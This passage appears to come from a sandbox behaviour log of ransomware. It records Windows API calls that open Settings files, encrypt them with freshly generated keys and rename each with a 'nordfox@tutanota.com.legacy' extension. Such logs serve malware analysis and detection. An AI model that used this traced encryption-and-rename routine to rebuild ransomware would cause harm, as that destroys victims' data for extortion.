hHeap=0x520000, dwFlags=0x0, lpMem=0x30db4a8 | out: hHeap=0x520000) returned 1 [0196.139] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PINPassword.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_pinpassword.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.139] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1207) returned 1 [0196.139] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b7) returned 0x30f68c0 [0196.139] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b7) returned 0x619440 [0196.139] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4b7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b7, lpOverlapped=0x0) returned 1 [0196.140] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.140] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b7, lpOverlapped=0x0) returned 1 [0196.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.140] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b7 [0196.140] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.141] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.141] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.141] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.141] CloseHandle (hObject=0x1c24) returned 1 [0196.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0196.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.141] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PINPassword.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_pinpassword.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PINPassword.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_pinpassword.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ef5280 | out: hHeap=0x520000) returned 1 [0196.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dc2b8 | out: hHeap=0x520000) returned 1 [0196.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dc420 | out: hHeap=0x520000) returned 1 [0196.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30dc2b8 [0196.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0196.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.143] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PicturePassword.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30dc9c0 [0196.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x2ef5f70 [0196.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dc9c0 | out: hHeap=0x520000) returned 1 [0196.144] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PicturePassword.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_picturepassword.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.144] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1239) returned 1 [0196.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d7) returned 0x30f68c0 [0196.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d7) returned 0x619440 [0196.144] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d7, lpOverlapped=0x0) returned 1 [0196.145] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.145] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d7, lpOverlapped=0x0) returned 1 [0196.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.146] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d7 [0196.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.146] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.146] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.146] CloseHandle (hObject=0x1c24) returned 1 [0196.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0196.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.147] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PicturePassword.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_picturepassword.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PicturePassword.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_picturepassword.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ef5f70 | out: hHeap=0x520000) returned 1 [0196.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dc2b8 | out: hHeap=0x520000) returned 1 [0196.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dbe80 | out: hHeap=0x520000) returned 1 [0196.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30dc9c0 [0196.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0196.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.149] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_EnrollmentIris.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30dc2b8 [0196.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x2ef5f70 [0196.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dc2b8 | out: hHeap=0x520000) returned 1 [0196.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_EnrollmentIris.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_enrollmentiris.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.150] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1227) returned 1 [0196.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4cb) returned 0x30f68c0 [0196.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4cb) returned 0x619440 [0196.150] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4cb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.151] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.151] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4cb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.152] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cb [0196.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.152] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.152] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.152] CloseHandle (hObject=0x1c24) returned 1 [0196.153] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.153] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.154] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_EnrollmentFingerprint.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1200 [0196.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.154] ReadFile (in: hFile=0x1c24, lpBuffer=0x30ef8a8, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef8a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0196.155] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.155] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f0cc8*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0cc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0196.156] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ee [0196.156] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.156] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.156] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.156] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.156] CloseHandle (hObject=0x1c24) returned 1 [0196.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0196.169] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_EnrollmentFace.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.170] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30dbe80 [0196.170] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x2ef56d0 [0196.170] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4cb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.171] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.171] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4cb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.172] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cb [0196.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.172] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.172] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.173] CloseHandle (hObject=0x1c24) returned 1 [0196.174] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.174] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.174] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_DelayLock.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x150) returned 0x30d95c8 [0196.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f6) returned 0x30f68c0 [0196.175] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6ac0, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ac0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b8, lpOverlapped=0x0) returned 1 [0196.176] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.176] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b8, lpOverlapped=0x0) returned 1 [0196.176] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b8 [0196.176] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.176] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.177] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.177] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.177] CloseHandle (hObject=0x1c24) returned 1 [0196.179] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.179] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.179] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_ChangePassword.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30db340 [0196.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x2ef5058 [0196.180] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4cb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.181] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.181] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4cb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.181] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cb [0196.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.181] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.182] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.182] CloseHandle (hObject=0x1c24) returned 1 [0196.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_AssignedAccess.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30dc2b8 [0196.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x2ef6810 [0196.184] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4cc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cc, lpOverlapped=0x0) 